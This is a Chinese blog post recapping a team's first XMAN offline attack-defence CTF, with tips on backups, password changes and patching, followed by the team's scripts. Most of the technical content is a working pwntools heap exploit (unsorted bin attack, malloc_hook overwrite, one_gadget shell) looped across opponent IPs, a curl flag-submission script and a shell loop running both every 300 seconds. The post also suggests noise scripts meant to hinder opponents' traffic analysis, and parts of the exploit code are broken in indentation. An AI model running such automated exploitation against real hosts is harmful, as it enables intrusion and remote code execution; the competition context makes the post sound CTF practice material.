xman结营赛总结

XMAN 结营赛总结

第一次打awd线下赛,有点小慌乱,什么工具脚本都没有准备。因为讲怎么打awd的时候我在下面打网鼎杯,回去又写wp,就粗略的看了下awd的赛制是什么。下面就写下比赛后的总结

  • 准备阶段
    • xshell ,xtfp等连接服务器的工具,将服务器上的文件备份。
    • 自动化攻击脚本模板以及自动化交flag的模板,这次就是因为浪费了很多时间在写自动化脚本上
      这次比赛我们用的是两个脚本,一个半自动化攻击,一个半自动化交flag,同时我写了个linux的shell脚本,将两个脚本结合起来形成了自动化
    • 准备好搅屎脚本,让别人流量分析变得更困难(划重点!!!!)虽然比赛时不给搅屎
  • 比赛阶段
    • 比赛一开始就要将服务器上的东西备份好,同时将一些登陆密码什么的都改了,我的组员就是拼了一波手速,改了别人的密码
    • 做pwn的就是逆向,挖漏洞,打patch,写exp打全场,大概就这些工作,我的组员将pwn2打好了patch,我则写了pwn1的exp,但是patch不会打.....
      我们到最后都没写出pwn2的exp,有点难受,格式化字符串的漏洞利用的不熟
    • 剩下的就是关注下比赛的积分榜了,毕竟web的不会做,但是到后面我们没事做就都跑去分析web的流量了,帮web分析漏洞。

大概就这么些吧,可能写的不是很全,下面将比赛写的脚本贴一下

exp:

from pwn import *
#context.log_level = 'debug'
debug = 0


def leave(size,mes):
    p.recv()
    p.sendline('1')
    p.recv()
    p.sendline(str(size))
    p.recv()
    p.send(mes)

def delete(idx):
    p.recv()
    p.sendline(str('2'))
    p.recv()
    p.sendline(str(idx))

def show(idx):
    p.recv()
    p.sendline('3')
    p.recv()
    p.sendline(str(idx))

def getshell(n):
    p.recv()
    p.sendline('4')
    p.recv()
    p.sendline(str(n))
    

def expolit():
    leave(0x88,'a'*0x88)
    leave(0x210,'b'*0x1f0+p64(0x200)+p64(0x21)+'\n')
    leave(0x80,'c'*0x80)
    leave(0x80,'c'*0x80)
    delete(1)
    delete(0)
    leave(0x88,'e'*0x88)
    leave(0x100,'a'*0x100)
    leave(0x80,'a'*0x80)
    delete(1)
    delete(2)
    leave(0x100,'a'*0x100)
    show(4)
    p.recvuntil("Message: ")
    leak = u64(p.recv(6).ljust(8,'\x00'))
    print hex(leak)
    main_arena = leak - 88
    libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10
    print "main_arena-->[%s]"%hex(main_arena)
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    one_gadget = libc_base + 0xf02a4
    global_max_fast = libc_base + 0x3c67f8
    
    log.info("unsorted bin attack ")
    delete(1)
    leave(0x2a0,'a'*0x108+p64(0xc1)+'a'*0xb8+p64(0x91)+'a'*0x88+p64(0x51)+'\n')
    delete(1)
    leave(0x300,'a\n')
    delete(4)
    leave(0x2a0,'a'*0x108+p64(0xc0)+p64(global_max_fast-0x10)+p64(global_max_fast-0x10)+'a'*0xa0+p64(0xc0)+p64(0x91)+'\n')
    leave(0xb0,'a\n')
    delete(4)
    delete(2)
    log.info("unsorted bin attack done")


    leave(0x2a0,'a'*0x108+p64(0xc1)+p64(malloc_hook-0x10)+'\n')
    leave(0xb0,'a\n')
    delete(2)
    leave(0x2a0,'a'*0x108+p64(0xf1)+'a'*0xe8+p64(0x61)+'\n')

    delete(4)
    delete(2)
    leave(0x2a0,'a'*0x108+p64(0xf1)+p64(main_arena+0x58)+'a'*0xe0+p64(0x61)+'\n')#2
    leave(0xe0,'a\n')#4

    delete(2)
    leave(0x2a0,'a'*0x108+p64(0xe1)+p64(main_arena+0x58)+'a'*0xd0+p64(0x71)+'\n')#2

    leave(0xd0,'a\n')#5

    leave(0x80,p64(one_gadget)+'\n')

    delete(4)
    delete(5)
    p.sendline("/bin/cat flag")
    data=p.readline()
    data=p.readline()
    
    f.write(data)
    p.close()

def go(p):
    try :
        expolit()
    except Exception:
        p.close()
    return 

if __name__ == '__main__':
    f=open("flags","w")
    port = '20003'
    #ban={1,2,4,5,7,9,17,19,21}
    for x in range(1,25):
    if x not in ban:
        host = '172.16.{}.103'.format(str(x))
        p  = remote(host,port)
            libc = ELF('./libc-2.23.so')
            go(p)
    f.close()   

uploadflag:

import os
import requests
f=open("./flags","r")

while(1):
    flag=f.readline()
    print flag
    if flag=="":
    break
    if len(flag)==61:
        flag=flag.strip('\n')
        cmd='''curl http://172.16.200.20:9000/submit_flag/ -d/ -d "flag={}&token=xkS9nxNNshMyRxT7T36naYaFRxWgJyryJKVyGyXb7TGT6yVc9BhvFMhY3DHrJV9hCUtmjMFsSHd"'''.format(flag)
        os.system(cmd)

auto shell scripts:

while true; do python exp.py;python uploadflag.py; sleep 300; done
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,847评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,208评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,587评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,942评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,332评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,587评论 1 218
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,853评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,568评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,273评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,542评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,033评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,373评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,031评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,073评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,830评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,628评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,537评论 2 269

推荐阅读更多精彩内容